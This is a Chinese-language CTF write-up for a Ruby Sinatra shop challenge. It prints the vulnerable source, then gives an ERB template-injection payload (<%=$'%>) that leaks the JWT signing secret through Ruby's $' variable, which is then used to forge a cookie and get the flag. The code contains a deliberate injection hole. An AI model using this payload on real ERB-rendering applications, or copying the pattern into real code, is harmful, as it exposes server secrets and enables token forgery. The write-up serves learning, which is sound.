看到题目关键字shop,怀疑需要抓包修改money进行购买,而金额一般通过加密隐藏在cookie字段中,接下来就着重观察cookie字段。
抓包得到cookie字段,
auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJmNGE3OWEyMy05YjA4LTRhZDUtODgyMS05YzEzY2M1MDdmYWIiLCJqa2wiOjMwfQ.ex-ThOTfqKGa3TqShqqkU-aF2VhY6i9KJaddUao7mW4
很可疑,看着像JWT,于是拿到解密网站看看。
接下来就直接jwtcracker爆破,半个小时过去了。。。除了风扇狂笑(,我一无所获,无计可施的我只能直接跟着大佬wp走,没想到第一步就懵逼了。
???为什么要robots.txt,又是脑洞吗(还是我太菜了...),想了想参加过的比赛都规定不需要用扫描器,也就没往这方面想,下次一定。
访问robots.txt得到一个文件地址/filebak
,访问得到源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
|
ruby源码(这不是欺负人吗),不会,果断放弃审计,直接下一步--erb模板注入。
知道了模板注入之后我们可以尝试着审计一下源码,结合以前做题的经验,ENV["SECRET"]
应该是我们注入的目标,#{params[:SECRET].match(/[0-9a-z]+/)}
和#{params[:name][0,7]}
可能是我们模板注入的利用点,因为这些都是我们可控的字符,百度到erb常用模板注入payload<%=攻击字段%>
,但是具体利用还是不会。
依照wp所说,在/work路由中,[0,7]
应该是我们通过GET传递的name字段的长度,且ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
的作用是对密钥正则。
于是,新的姿势出现了--用ruby的预定义字符$对匹配的字符串读取secret(ruby的特性:预定义变量),
构造payload:
/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
分析一下这个payload:
ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
正则判断上传的SECRET字段不能包含pattern中的内容,因此这里选择了传递空字符。
params[:do] == "#{params[:name][0,7]} is working"
判断上传的do字段和name字段是否相同,而我们构造 <%=$'%>
,根据$'-最后一次成功匹配右侧的字符串
的作用,我们使name和do成功匹配,上传时要urlencode。
获得密钥secret:
90b980318681b75c0ace1d7916d53d14ba419244b27d1f8b68ea3482889f9d9f8e013c7a021b4f119998f1e4d2b194062ea963e17606a52f0eb3bcc3bc77d655
构造cookie:
提交回显新cookie,JWT解码得flag。
- 没事干就扫目录(×
- erb模板注入payload
<%=字段%>
- ruby的特性:预定义变量